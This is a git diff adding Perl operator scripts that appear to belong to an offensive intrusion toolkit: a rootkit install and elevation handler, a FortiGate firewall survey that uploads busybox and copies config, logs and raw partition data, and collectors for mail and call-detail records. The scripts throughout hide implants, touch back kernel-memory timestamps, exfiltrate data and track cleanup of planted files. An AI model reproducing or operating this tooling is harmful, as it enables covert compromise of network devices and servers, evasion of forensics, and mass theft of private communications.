/^\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#/); + } + + if ($errstrings{int $errcode}) { + $errstring = $errstrings{int $errcode}; + } else { + $errstring = "UNKNOWN ERROR #: $errcode"; + } + } + } + for (my $i=0;$i<@tools;$i++) { + my ($what1,$what2) = ("DEPLOYED","Installed"); + ($what1,$what2) = ("EXERCISED","Exercised") + unless ($installtype eq "install"); + ($what1,$what2) = ("ACCESSD","Accessd") + if ($installtype eq "access"); + ($what1,$what2) = ("USED","Used") + if ($installtype eq "use"); + ($what1,$what2) = ("REMOVED","Removed") + if ($installtype eq "remove"); + $stoicinstall++ if $tools[$i] =~ /stoicsurgeon/i; + my $others = " @tools"; + $others =~ s/ $tools[$i]//; + my $toolcomment = ""; + $toolcomment = " $comments[$i]" + if (length $comments[$i]); + my ($content,$warning) = logtool( + "$tools[$i]", + "$versions[$i]", + "$success", + "$what1", + "$toolcomment $what2 with$others $errstring$hiddenstr", + ); + $allcontent .= $content; + $allwarning .= $warning; + } + progprint($COLOR_FAILURE. + "Finished.\n$progress\n$COLOR_NOTE\n". + "$prog just added these entries to\n". + "$hostfile:\n\n$COLOR_NORMAL".$allcontent. + "\n".$allwarning + ); + + ($output,$nopenlines,@output) + = doit("-ls $workdir/$remotename") unless $logonly; + if ($output and $success =~ /^successful/i) { + my ($ans) = offerabort + ("$COLOR_NORMAL\nPROPOSED HOSTINFO CONTENT:\n". + $newhostinfocontent."\n\n". + "$COLOR_FAILURE $output\n". + "$COLOR_NORMAL\n". + "The $remotename file still exists. This usually indicates failure,\n". + "but the output ending in :00 seemed to indicate success.\n\n". + "You can abort here and nothing will be logged to\n". + " $hostfile.\n". + "Or choose another option, which will log there:\n". + " 1) Change all statuses to \"Failed\"\n". + " C) Log it as successful anyway (really?)\n\n". + "Choose one, or", + "1","2" + ); + if ($ans eq "1") { + $newhostinfocontent =~ s/success\S+/FAILED/ig; + } + } + unless ($logonly) { + if ($stoicinstall) { + my ($elevatesuccess,$prompt,$more)=(); + if ($success =~ /^successful/i) { + my $solarismore = ""; + if ($solaristarget and $host_touchkmem) { + my ($output) = doit("-ls -n /devices/pseudo/mm\@0:kmem"); + $output =~ s,\s+, ,g; + my ($touchedback) = doit("$host_touchkmem /devices/pseudo/mm\@0:kmem") + unless ($output =~ /^$host_touchkmem/); + $solarismore = ", and the times for\n". + "/devices/pseudo/mm\@0:kmem have been manually touched back" + if ($touchedback); + } + if ($skipctrl) { + mygetinput + ("Install appears successful$solarismore!\n\n". + "You chose to SKIP all use of Ctrl, so this window has$COLOR_FAILURE NO WAY$COLOR_NORMAL\n". + "to elevate. If you trigger on in another window, it will be elevated. You should$COLOR_FAILURE\n". + "BE VERY CAREFUL$COLOR_NORMAL in this and any unelevated windows to NOT access the hidden\n". + "directory. If you do, STOIC will self-destruct.\n\n". + "Press Enter to continue." + ); + } else { + $prompt = "Install appears successful$solarismore!\n\n". + "You could try to elevate/cloak now, but the new default is not to.\n". + "Instead, a fresh trigger test will get both an elevated window and\n". + "test a trigger for you. Use THIS window, unelevated, for your \n". + "confirmation tests that the install behaves as expected.\n\n". + "Do you want to try to elevate/cloak now?"; + my ($ans) = mygetinput($prompt,"N"); + $elevatesuccess=1; + # On success, we set this new $ctrlfile as the right one for + # this box for remainder of op. + mystoicctrl(noprompt,$ctrlfile); + if ($ans =~ /^y/i) { + # dbg("PRIOR: errs=(@errs)"); + my $wdir = $workdiropt; + if (!$wdir or + $wdir =~ m,$priorhiddendir, or + ($hiddendir and $wdir =~ m,$hiddendir,) + ) { + # use a workdir of ./ it must be where the install just succeeded. + $wdir = "w."; + } + stoicctrl("-zEC$wdir",$dopause); + dbg("After stoicctrl(-zEC$workdiropt,$dopause); +#errs=(@errs) nonerrs=(@nonerrs) +#completeoutput=(@completeoutput) +#"); + if (@errs) { + mygetinput("PROBLEM HERE: That seemed to fail? Deal with it."); + $elevatesuccess--; + } + unless (!$dowhat or $newhiddendir eq $hiddendir) { + mywarn("NOTE: New hidden directory is different:\n". + " WAS: $hiddendir\n". + " NOW: $newhiddendir"); + ($hiddendir,$safehiddendir) = ($newhiddendir,$newsafehiddendir); + } + } else { + ($hiddendir,$safehiddendir,@output) = gethiddendir(force); + $elevatesuccess=0; + mygetinput($COLOR_FAILURE."\n\n". + "This window is NOT ELEVATED.\n\n". + "Use either a fresh trigger window (preferred) or -ctrl -CE\n". + "to get an elevated window and compare it to this one:\n\n". + " =ps\n". + " =nsg ESTAB\n". + " -ctrl -LR\n". + "\nHit Enter to continue..."); + } + } + my $moresuccess=""; + if ($elevatesuccess > 0) { + $moresuccess = "\n$COLOR_SUCCESS\nSUCCESS!$COLOR_NORMAL\nSUCCESS!\n\n". + "You (and parent, if any) should be fully priveleged/hidden."; + } +# dbg("success=$success="); + } + if ($success eq "FAILED") { + $output = "$COLOR_WARNING\nFAILED!$COLOR_FAILURE\nFAILED!$COLOR_WARNING\n". + "FAILED!$COLOR_FAILURE\nFAILED!\n\n". + "Install FAILED:\n". + $installedtools; + } else { + $output = "$moresuccess\n$COLOR_SUCCESS\nSUCCESS!$COLOR_NORMAL\nSUCCESS!\n\n". + "Install complete:\n". + $installedtools; + } + } + } else { + my $which = "most recent install"; + $which = "contents of this tarball" if $logfailureball or $logsuccessball; + $output = "Logged $which ($installdir) as: $success"; + } +# progprint($output); + rmctrl(force) unless $skipctrl; + return $output; +}#end sub handle + +sub mymydie { + rmctrl(force) unless $skipctrl; + mydie(@_); +} + + +sub myinit { + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + + + ($installtype) = $0 =~ /auto(\S+)/; + + $prog = "-gs $installtype"; + $vertext = "$prog version $VER\n" ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless ($nopen_rhostname and $nopen_mylog and + -e $nopen_mylog); + + $linuxtarget = $nopen_serverinfo =~ /linux/i + unless $linuxtarget; + + ($solaristarget,$junk,$solaristargetversion) + = $nopen_serverinfo =~ /((sunos|solaris)\s*([\d\.]*))/i; + # Use the 2.* nomenclature for solaris, to match + # what our tarball VERSION files use. + $solaristargetversion =~ s/^5/2/g; + + $inteltarget = $nopen_serverinfo =~ /[i3456x]+86/; + + ($sparctarget) = $nopen_serverinfo =~ /((sparc|sun4[umc])\S*)/; + + $usagetext=" +Usage: $prog [-h] (prints this usage statement) + +NOT CALLED DIRECTLY + +$prog is run from within a NOPEN session when \"$prog\" or +\"=install\" is used. + +"; + { $gsusagetext=< [OPTIONS] + slave: $prog -s -n [OPTIONS] + +$prog is a script to collect mail on eYou mailservers. + + -h Show this help. + +Master Options: + -d dir Mail directory (required). + -x MM-DD-YYYY Begin date of mail to get. + -n num Number of slaves to generate pastables for (default 1). + + Searching mail with -find: + -X file file specifies a list of files (one per line) to NOT download, + which is checked before sending the files to egrep (-g and -V). + Use this if continuing collection from a previous op to prevent + duplicate downloads. + -g expr Regular expression passed to 'egrep' that is run on each + file, and only those with matching content will get + downloaded. This cannot contains spaces. + -V expr Regular expression passed to 'egrep' that is run on each file + AFTER the '-g' egrep (if specified) to NOT download any files + that have matching content. This cannot contain spaces. + + Searching mail with deliver log files: + -L logdir Directory of deliver_mail.log files. If this is specified, + the deliver logs will be used to find mail instead of -find. + -D dir_prefix Prefix of the mail directory (up to and including the 'filed' + directory). Required with -L option. + -u user_file File that contains the list of users. + +Slave Options: + -s file_id Slave instance. 'file_id' will tell the slave which file will + has the list that gets written by the master instance. The + file id is provided when the master instance pauses (required). + -n num Slave number (default 1). + +* Note: If a slave stopped in the middle of a collection and you need to restart + it, re-run all instances with the same -s and -n options. + +LSS Options (supply with master or slave): + -T max Stop pulling files when the bwmonitor reaches max Megabytes. + -m min Only download files of at least min bytes. + -M max Only download files of at most max bytes. + -o Collect one file at a time. + -k Keep original order. + -K[0] Skip any file download where some previously -lss downloaded + file is identical and instead make a local copy by that name. + Add the option -0 (zero) option to skip making the local + duplicate file. + +To stop collection: + -lsh touch ${optmp}/eyoustop + +Usage: $prog [OPTIONS] + +"; +}#setusagetexts diff --git a/Linux/etc/autofortidone b/Linux/etc/autofortidone new file mode 100755 index 0000000..2ec4281 --- /dev/null +++ b/Linux/etc/autofortidone @@ -0,0 +1,412 @@ +#!/usr/bin/env perl +## +$VER="1.0.0.2" ; + +$| = 1 ; + +myinit() ; +$bin_sh = 0; + +mysetup() ; + +sub mysetup { + mydie("You are not on a Fortigate, do not run -gs fortidone.") + unless ($linuxtarget); + + offerabort("Your Linux target does not appear to be a 2.4.x kernel,\n". + "are you sure you want to continue with -gs fortidone?","ABORT") + unless ($nopen_serverinfo =~ /Linux 2\.4\./); + +# prompt for BB upload + my ($ans) = mygetinput + ("\n\n$COLOR_FAILURE\n". + "Entering Fortigate Mode\n$COLOR_NORMAL\n". + "Uploading busybox to target for survey.\n". + "\n\nontinue or bort.","CONTINUE" + ) ; + if ($ans eq "a") { + mydie("User aborted "); + } + if ($ans eq "c") { + preservefile("$opdown/arp.$nopen_rhostname", + "$opdown/uptimesecs.$nopen_rhostname", + "$opdown/uptime.$nopen_rhostname", + "$opdown/df.$nopen_rhostname", + "$opdown/ifconfig.$nopen_rhostname", + "$opdown/kernel.$nopen_rhostname", + "$opdown/ps.$nopen_rhostname", + ) ; + + my ($output,$nopenlines,@output) = nopenlss("-QU", "/bin/bb" ); + if ($output) { + ($output) = doit("-sha1sum /bin/bb"); + if ($output =~ /\+.*busybox/) { + offerabort($COLOR_FAILURE. + "It appears our busybox was left behind previously.\n". + "Take note before you continue"); + } else { + # TODO: Set the /bin/bb in a local variable, re-set it here to something that does not exist if need be, but for now just bail + mydie($COLOR_FAILURE. + "The /bin/bb up there is not our usual busybox. Get help."); + } + } else { + doit("-put /current/bin/FW/EGBL/busybox /bin/bb"); + } + ($output) = doit("/bin/bb cat /proc/version > T:$opdown/kernel.$nopen_rhostname" ) ; + offerabort("/proc/version does not contain the string \"fortibuild\", are you\n". + "sure you want to continu?") + unless($output =~ /fortibuild/); + newhostvar("host_fortigateputbb",$output); + newhostvar("host_fortigatemode",1); + my $scriptcheck = "$opdown/script.*"; + my @fortiversion = split(/\n/,`grep -h --binary-file=text "^ETag:.*_4f_" $scriptcheck | sed "s,.*_,,g" | tr -d '\\r\"'`); + + @fortiversion = uniqify_array(@fortiversion); + my $fortiversion = $fortiversion[0]; + if (@fortiversion > 1) { + + my ($ans,$longans) = mygetinput + (" ".join("\n ",@fortiversion)."\n". + "Which of these do you want to use (or enter UNKNOWN)?" + ); + $longans =~ s,^\s*,,; + $fortiversion = $longans; + } + if ($fortiversion) { + if (-f "$opbin/EGBL.config") { + chomp(my $better = `grep "$fortiversion" $opbin/EGBL.config | grep -v "^#" | sort -u | cut -f 3,4,5 -d :`); + $fortiversion = $better if (length $better > 4); + } + } else { + $fortiversion = "unknown"; + } + logtool( + "FORTIGATEFIREWALL", + "$fortiversion", + "SUCCESSFUL", + "ACCESSED", + "Fortigate firewall accessed via NOPEN", + ); + } + + # once up, check to see what files are there + my ($output,$nopenlines,@output) = nopenlss("-QU", "/bin/sh" ); + #mydie("Can't find sh command.") + # if (@output < 1); +#doit("/bin/bb echo @output"); + my $list = ""; + foreach (@output) { + my $file = ""; + $file = $2 if + ( m,(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s+[^/]+\s+(/.*)\s+--\s+/.*, or + m,(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s+[^/]+\s+(/.*), or + m,(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s+[^/]+\s+(\./.*)\s+--\s+/.*, or + m,(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s+[^/]+\s+(\./.*), or + m,(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s+\d+\s+\d+:\d+\s+\d{4}\s+(.*)\s+--\s+/.*, or + m,(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s+\d+\s+\d+:\d+\s+\d{4}\s+(.*), ); +#doit("/bin/bb echo $file"); +#doit("echo $2"); + $list .= " $file" if $file; +#doit("echo $list"); + if ($file eq "/bin/sh") { + $bin_sh = 1; + }; + } +#progprint($file); +#progprint($list); + #my ($output,$nopenlines,@touchlines) = doit("-ls -n$list"); +#doit("/bin/bb echo $bin_sh"); + +# if /bin/sh did not flag as there link it to /bin/bb + if ( $bin_sh == 1 ) { + progprint($COLOR_FAILURE. + "Finished.\n\n". + "/bin/sh is already here, no need to set link.". + "$COLOR_NORMAL".$allcontent. + "".$allwarning ); + } else { + my ($ans2) = mygetinput + ("Linking busybox to /bin/sh for builtin shell commands.\n". + "\n\nontinue or bort.","CONTINUE" + ) ; + if ($ans2 eq "a") { + mydie("User aborted "); + } + if ($ans2 eq "c") { + doit("/bin/bb ln -s /bin/bb /bin/sh"); + newhostvar("host_fortigatelinksh",1); + } + } +}#mysetup + +# promptkill puts itself into /usr/local/bin if none or an older one is there +# so this makes sure /usr/local/bin is current even if promptkill does not get +# used this op +`$opbin/promptkill -v` if (-x "$opbin/promptkill"); + +# following is first time autonext is used without $$ extension--fewer collisions? +# In case this is there from previous run, we save it as .NNNN +preservefile("$opdown/hostinfo.$nopen_rhostname") unless $autonohostinfo; + +#my @autoargv = (); +#if ((-e "$optmp/autonewdone.$nopen_rhostname" or -e "$optmp/autodont") and + # (!$redo and !$autonohostinfo)) { + #myalert("autonewdone has already completed on this target. Use -gs auto FORCE to re-do it."); +#} else { + dosurvey(); +#} + +sub dosurvey { + my @choices = ("Y","N"); + my $mdefault = "N"; + + # Set these files aside as .old if they exist + preservefile ("$opdown/rpcinfo.$nopen_rhostname", + "$opdown/dmesg.$nopen_rhostname", + "$opdown/ls_etc-ct.$nopen_rhostname", + ); + myalert("NOLOGGING","BEGIN running $opetc/fortidone on $nopen_rhostname output in $nopen_mylog (v.$VER)"); + system("touch $optmp/autonewdone.INPROGRESS.$targetpid"); + + open(YELLPROMPT, "> $optmp/.gsyell.$nopen_rhostname.$nopen_mypid") or myalert("Can't create warning text! $!"); + print YELLPROMPT "${COLOR_FAILURE}\n". + "WARNING: AUTONEWDONE IS NOT FINISHED! WARN SOMEONE!${COLOR_NORMAL}\n\n\n". + "This should not happen. Please report this now\n". + "(yes, now...in person...go....shoo!).\n\n". + "You can hit return here to get your window back, though.\n\n"; + print YELLPROMPT "${COLOR_FAILURE}\n". + "WARNING: AUTONEWDONE IS NOT FINISHED! WARN SOMEONE!${COLOR_NORMAL}\n\n\n"; + close(YELLPROMPT); + + open(GSYELL, "> $opetc/nopen_auto.$nopen_mypid") or myalert("Can't create warning script! $!"); + print GSYELL "#NOGS\n"; + print GSYELL "-lsh -nohist rm -f $optmp/.gsyell.out.$nopen_mypid\n"; + print GSYELL "-lsh -nohist test -f $optmp/autonewdonetest.$nopen_rhostname || ". + "$opetc/autogetinput -O $optmp/.gsyell.out.$nopen_mypid -P $optmp/.gsyell.$nopen_rhostname.$nopen_mypid\n"; + print GSYELL "-lsh -nohist rm -f $optmp/.gsyell.$nopen_rhostname.$nopen_mypid\n"; + print GSYELL "-lsh -nohist rm -f $optmp/autonewdone.INPROGRESS.$targetpid\n"; + close(GSYELL); + + # Begin running the actual autonewdone commands. + doit("-lsh date -u"); + # mydo("autodoproject",@autoargv); + doit(#"\\hostname", + # "-cat /etc/hostname*", + # "grep -v \\\"^#\\\" /etc/syslog.conf >> T:$optmp/.syslog.$nopen_rhostname", + # "-ls -n /bin/ps /usr/bin/netstat", + #"-ls -u /bin/ps /usr/bin/netstat", + " /bin/bb cat /proc/sys/kernel/hostname" + ); + + push(@autoargv,"autodone"); + #mydo("autopscheck",@autoargv); + + doit("/bin/bb ps >T:$opdown/ps.$nopen_rhostname"); + + # FORTIGATE-specific file gets. + ($newdoneoutput,$nopenlines,@newdoneoutput) = + nopenlss("-G${nopenlssreget}YUFM100000", +# nopengetfiles("SIZEMAX=100000 GETZERO=1", + "/data/config/", + "/data/crash", + "/tmp/dhcpddb", + ); + ($newdoneoutput,$nopenlines,@newdoneoutput) = + nopenlss("-G${nopenlssreget}YUFM1000000", +# nopengetfiles("SIZEMAX=1000000 GETZERO=1", + # "/config/juniper.conf*", + ); + doit("/bin/bb df >T:$opdown/df.$nopen_rhostname"); + + + # Run the autodothis stuff in here. + preservefile("$opdown/fortistats.cmdout"); + doit( + "-cmdout $opdown/fortistats.cmdout", + "/bin/bb mount", + "-cmdout", + ); + + my ($output) = doit("/bin/bb date \"+%a, %d %b %Y %H:%M:%S %z\""); + writefile("$opdown/date-rfc2822.$nopen_rhostname",$output); + + + doit( +# ? ? "-nohist -gs replay -Hf $opdown/fortistats.cmdout.$nopen_rhostname df -l", + ); + + doit("/bin/bb dmesg ; /bin/bb echo > L:$opdown/dmesg.$nopen_rhostname" ) ; + +# doit("-gs fortimkoffset"); + @autoargv = (); + + doit("-ls -ct /etc/ > L:$opdown/ls_etc-ct.$nopen_rhostname"); + preservefile("$opdown/uname-a.$nopen_rhostname"); + ($output) = doit("/bin/bb uname -a > T:$opdown/uname-a.$nopen_rhostname"); + newhostvar("host_uname{$nopen_rhostname}",$output) + if ($output) ; + + doit("/bin/bb cat /proc/net/arp > T:$opdown/arp.$nopen_rhostname" ) ; + doit("/bin/bb cat /proc/uptime > T:$opdown/uptimesecs.$nopen_rhostname" ) ; + doit("/bin/bb uptime > T:$opdown/uptime.$nopen_rhostname" ) ; + doit("-ifconfig > T:$opdown/ifconfig.$nopen_rhostname" ) ; + +# pull the log files + +($logoutput,$nopenlines,@logoutput) = nopenlss("-rGUYM1000000","-galert_msg","/data*"); + +if (@logoutput) { + #log was there + #doit("/bin/bb echo log has content @logoutput" ) ; +} else { + #log wasnt there + #doit("/bin/bb echo log didnt have content content " ) ; + progprint($COLOR_FAILURE. + "Warning.\n\n\n". + "The alert_msg file was not present. \n\n". + "If logs needed use \"dd\" to pull.". + "$COLOR_NORMAL".$allcontent. + "".$allwarning ); + ($dataoutput,$nopenlines,@dataoutput) = doit("/bin/bb df") ; + + my ($tmpfile,$more) = ("/tmp/.d_show"); + while (1) { + ($output) = doit("-ls $tmpfile$more"); + offerabort("output=$output= length is ".length $output); + last if ($output eq ""); + $more .= ".0"; + } + + my $data = ""; + foreach $datalisting (@dataoutput) { + next unless $datalisting =~ m, /data$,; + $data = $1 if $datalisting =~ /^(\/dev\/hd\w\d)\s+.*\/data$/; + if ($data) { + doit("/bin/bb dd if=$data of=$tmpfile$more count=20 "); + last; + } + } + mydie("This is odd, there is no /data partition, get help") + unless $data; + + doit("-get $tmpfile$more"); + my $dotfile = dotdotpathforfile("$tmpfile$more"); + doit("-rm $dotfile"); +} + +my $fortigatewarn = ""; +if ($host_fortigateputbb) { + $fortigatewarn="Busybox was put up, it should be deleted by -burnBURN later.\n\n". + " -rm /bin/bb\n". + " YES"; + if ($host_fortigatelinksh) { + $fortigatewarn= "Busybox was put up and /bin/sh was linked to Busybox. These\n". + "should be deleted by the -burnBURN script later.\n\n". + " -rm /bin/sh /bin/bb\n". + " YES\n". + " YES"; + + } +} elsif ($host_fortigatelinksh) { + $fortigatewarn= "/bin/sh was linked to Busybox, it should be deleted by -burnBURN.\n\n". + " -rm /bin/sh\n". + " YES"; + } +#} tokencom +# doit("-/bin/bb echo printing variables"); + +# doit("-lsh echo $putbbwarn"); +# doit("-lsh echo $linkshwarn"); + +if ( $fortigatewarn) { + doit("-beep 2"); + mygetinput($COLOR_FAILURE."\n". + "WARNING: FILES STILL ON TARGET !$COLOR_NORMAL\n". + "\n\n". + $fortigatewarn."\n". + $COLOR_FAILURE."\n". + "WARNING: FILES STILL ON TARGET !$COLOR_NORMAL Delete those later.\n\n". + "Press Enter to continue."); +} + unlink("$opetc/nopen_auto.$nopen_mypid"); + myalert("NOLOGGING","DONE running $opetc/fortidone"); +} #dosurvey + + + # ( m,(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s+[^/]+\s+(/.*)\s+--\s+/.*, or +#$file = $2 if (m,(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s+[^/]+\s+(/.*)\s+--\s+/.*,) + + +sub myinit { + # If $willautoport is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $calledviarequire = 0; + if ($willautoport and $socket) { + progprint("$prog called -gs auto.forti @ARGV"); + $calledviarequire = 1; + } else { + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + $prog = "-gs fortidone"; + $vertext = "$prog version $VER\n" ; + mydie("No user servicable parts inside.\n". + +" +nopen_rhostname=$nopen_rhostname= +nopen_mylog=$nopen_mylog= + + +". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless ($nopen_rhostname and $nopen_mylog and + -e $nopen_mylog); + } + + $usagetext=" +Usage: $prog [-h] (prints this usage statement) + +NOT CALLED DIRECTLY + +$prog is run from within a NOPEN session via when \"$prog\" is used. + +"; + $origparms = " @ARGV"; + mydie("bad option(s)") if (! Getopts( "hb:A" ) ) ; + mydie("Syntax error: $prog takes only options no arguments") + if (@ARGV); + + $gsusagetext=" +Usage: $prog [OPTIONS] + +On Solaris or Linux, $prog gives you an idea whether or not there is +a STOICSURGEON version for this target. STOICSURGEON versioning information +is gleaned from these files, which came from stoicctrls.tar.bz2:\n\n". +#`ls -al $opup/stoicversions.sums $opup/stoicversions.levels`. +" +ON LINUX: + + Shows your kernel and /proc/version hashes, and finds any matches. + +ON SOLARIS: + + Shows your patch level and finds the highest version at that or + higher patch levels. + +OPTIONS + -h prints this usage statement + -b path location of vmlinuz (default /boot) + -A Show all versions of STOICSURGEON for Solaris + +"; + usage() if ($opt_h) ; + $boot_path = $opt_b if ($opt_b); + $showall = $opt_A; + + # If $socket is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $socket = pilotstart(quiet) unless $socket; +}#myinit diff --git a/Linux/etc/autogetcdrhits b/Linux/etc/autogetcdrhits new file mode 100755 index 0000000..6e132f6 --- /dev/null +++ b/Linux/etc/autogetcdrhits @@ -0,0 +1,1477 @@ +#!/usr/bin/env perl +## +$VER="2.0.0.23"; +$| = 1 ; + + +#BUGGY: half the files did not end up in /tmp for packup + +@ourfilespulled = (1); # Appended to by nopengetfiles iff it is not empty, + # so this is a cumulative list of all files pulled + # via nopengetfiles() during this run. + # (later we remove the dummy "1" entry via shift in 1, instance + # and ignore it in the 2+, instances we read in). +@remotepaths = (); # Paths, possibly with wildcards, in which ER data is found. + # E.g.: er*/aux_*/output/final +@actionpaths = (); # List of directories, one per start action we are tasking + # (discovered from @remotepaths) + +myinit() ; + +# Log this key in a cryptkey file for this host +$keyfile = makekeyfile(); + +# Globals +$logroot = "$optmp/er_logs/$nopen_rhostname"; +$collroot = "$optmp/er_coll/$nopen_rhostname"; +chomp($downroot = `find /current/down/er_* -type d | tail -1`); +unless ($downroot =~ /$nopen_myip/) { + $downroot = "$opdown/er_".uc $projectname.".$nopen_rhostname"; +} +`mkdir $downroot`; +chomp($collcountbefore = `find $collroot -type f | wc -l`); +chomp($logcountbefore = `find $logroot -type f | wc -l`); + +($countdone,$collcountafter,$collcountbefore,$newargfile,$encargfile, + $logcountafter,$logcountbefore) = (); +# ASSERT: pulling data from global @remotepaths +my @remotegetcdrhits = (); + +# @otherskipstrs is how we obfuscate "log" content on hosts we +# do not have a hidden directory on. +my @otherskipstrs = ("bb5e8"); +($output,$oldnopenlines,$nopenlines,@cdroutput,@tmp, + @oldcdroutput) = (); +($outputl,$nopenlinesl,@cdroutputl) = (); +my $cryptTool = "cryptTool"; + + + +if ($mysplitpart == 1) { + foreach my $path (@remotepaths) { + # Remove the escape here we use quotes + ($output,$oldnopenlines,@tmp) = + nopenlss("-zFQ","$srcdir/$path"); + my ($ans,$longans) = ""; + if ($oldnopenlines =~ /OLD DATA/) { + my ($mins) = $oldnopenlines =~ /([\.\d+])/; + ($ans,$longans) = mygetinput + ("A previous instance of $prog has populated a list of files on target\n". + "as of $mins minutes ago matching your target path:\n\n". + " $srcdir/$path\n\n". + "It is safe to euse the old listing even if some of the files have\n". + "been pulled, but best to

opulate a new listing if you know the data\n". + "previously listed was completely downloaded/deleted.\n\n". + "Do you want to euse that old listing,

opulate a new one, or ?", + "P"); + mydie("User aborted") if ($longans =~ /^abort/i); + } + unless ($ans eq "r") { + $oldnopenlines = ""; + ($output,$nopenlines,@tmp) = + nopenlss("-UzFQ","$srcdir/$path"); + } + my $timestr = gmtime(); + # We save this output. Later may reuse if @cdroutput not populated on target. + unless ($host_output{"CDRS"}) { + # %host_output is not necessarily CDRs specific. Clear it if not used + # in previous autogetcdrhits. + undef %host_output; + newhostvar("host_output{CDRS}","CDRS\n"); + } + newhostvar("host_output{$timestr}", + "$path\n". + join("\n",@tmp)) + unless $oldnopenlines; + push(@cdroutput,@tmp); + } + + if (!@cdroutput) { +# if (keys %host_output and $host_output{"CDRS"}) { +# my ($s,$have,$each,$are) = ("","has","it","is"); +# # For plural, do not count the "CDRS" one. +# if (keys %host_output > 2) { +# $s = "s"; +# $have = "have"; +# $each = "each"; +# $are = "are"; +# } +# my ($moreprompt,$moreprompt2,$remaining) = (); +# my %usethese = (); +# while (1) { +# my ($default,$count,$prompt) = (); +# my @allowed = ("abort","done", +# "ABORT","DONE", +# ); +# $moreprompt2 = "\n\n"; +# foreach (sort keys %host_output) { +# dbg("Looping over host_output on line=$_="); +# next if (/^CDRS/); +# next if $usethese{$_}; +# my ($path) = split(/\n/,$host_output{$_}); +# push(@allowed,$_); +# $count++; +# $prompt .= " $_ $path\n"; +# # Default is first sorted, or oldest +# $default = $_ unless $default; +# } +# # They can choose a second listing if they want to combine the two, but +# # default is to use one and then DONE. +# $default = "DONE" if (keys %usethese); +# last unless $prompt; +# my ($ans,$longans) = mygetinput +# ($moreprompt2. +# "There is currently no data to find remotely in the path(s) provided.\n\n". +# "However, $count previous instance$s of $prog $have done remote listings.\n". +# "What path at what time are listed here:\n\n". +# $prompt."\n". +# "The time$s $each$remaining was done and the path thereon $are listed above.\n\n". +# "Paste in the complete timestamp, day through year, of the one you want to use\n". +# "(defaults to the oldest one) to proceed with packing up your data, or you can .\n\n". +# $moreprompt. +# "Enter ABORT, a timestamp, or DONE:", +# $default,@allowed +# ); +# $moreprompt2 = "\n\n"; +# mydie("User aborted") if ($longans =~ /^abort/i); +# last if ($longans =~ /^\s*done/i); +# $remaining = " one remaining"; +# # Strip begin/end spaces. +# ($longans) = $longans =~ /\s*(\S.*\S)\s*/; +# unless ($host_output{$longans}) { +# $moreprompt = "\n$COLOR_FAILURE\nINVALID ANSWER: $longans\n$COLOR_NORMAL\n"; +# next; +# } +# $usethese{$longans}++; +# $moreprompt = "Enter another time if you want to combine another previous listing.\n\n"; +# } +# @remotepaths = (); +# foreach (keys %usethese) { +# my ($path,@listing) = split(/\n/,$host_output{$_}); +# push(@cdroutput,@listing); +# push(@remotepaths,$path); +# } +# } + mydie("There are no files in @remotepaths") + unless ($collcountbefore or $logcountbefore or @cdroutput); + unless (@cdroutput) { + my ($ans) = mygetinput + ($COLOR_FAILURE."No data files remain on target.\n\n".$COLOR_NORMAL. + "However, previously you collected files in one of:\n". + " $collroot ($collcountbefore files)\n". + "OR $logroot ($logcountbefore files)\n\n". + "Do you want to pack those up now?", + "Y" + ); + mydie("OK, then there is nothing more to do") + unless ($ans eq "y"); + packitup(1); + exit; + } + offerabort(".\n\n". + join("\n",@cdroutput)."\n\n". + "About to reprocess the files listed above. Those already downloaded will not\n". + "be downloaded again, but they will be copied into $collroot.\n". + "This will allow previously downloaded files that were not processed\n". + "(which includes testing decryption at least once and preparing the files\n". + "for upload in a tarball).\n\n"); + tickleifneedbe(0,0,60); # Run something once a minute on target + } +} +dbg("skipexpr=$skipexpr= BEFORE (@cdroutput)"); +my $lessfiles = ""; +my $skipfiles = ""; + +my @cdroutputskipped = (); +if ($mysplitpart == 1) { + if ($skipexpr) { + @cdroutputskipped = grep /$skipexpr/ , @cdroutput; + + foreach my $otherskip (@otherskipstrs) { + my @otherskip = grep /$otherskip/ , @cdroutput ; + if (@otherskip) { + my ($ans,$longans) = mygetinput + ("You asked to blacklist \"$skipexpr\" files, but$COLOR_FAILURE NONE WERE FOUND\n". + "$COLOR_NORMAL.\n\n". + "There were, however, files containing \"$otherskip\", which is sometimes\n". + "used to indicate log files (depending on the target).\n\n". + "Do you want to change your blacklist argument from \"$skipexpr\" to \"$otherskip\"?", + "Y" + ); + if ($ans eq "y") { + $skipexpr = $otherskip; + @cdroutputskipped = @otherskip; + # Skip other prompt below via $nevermind++ + $nevermind++; + last; + } + } + } + unless (@cdroutputskipped) { + my ($ans,$longans) = mygetinput + ("You asked to blacklist \"$skipexpr\" files, but$COLOR_FAILURE NONE WERE FOUND\n". + "$COLOR_NORMAL.\n\n". + "If you want to try some other blacklist string, enter it here, or\n". + "type \"ABORT\" to stop $prog entirely. If you enter nothing at all,\n". + "no blacklist will be used.\n\n". + "Enter your new blacklist, \"ABORT\", or nothing:" + ); + mydie("Aborted by user") + if ($longans =~ /^\s*abort/i); + if ($longans and $longans ne "nothing") { + $skipexpr = $longans; + @cdroutputskipped = grep /$skipexpr/ , @cdroutput; + } + } + } +dbg("cdroutputskipped=(\n". + join("\n",@cdroutputskipped)."\n)\n"); + if (my $skipcount = @cdroutputskipped) { + $skipfiles = join("\n",@cdroutputskipped)."\n\n"; + 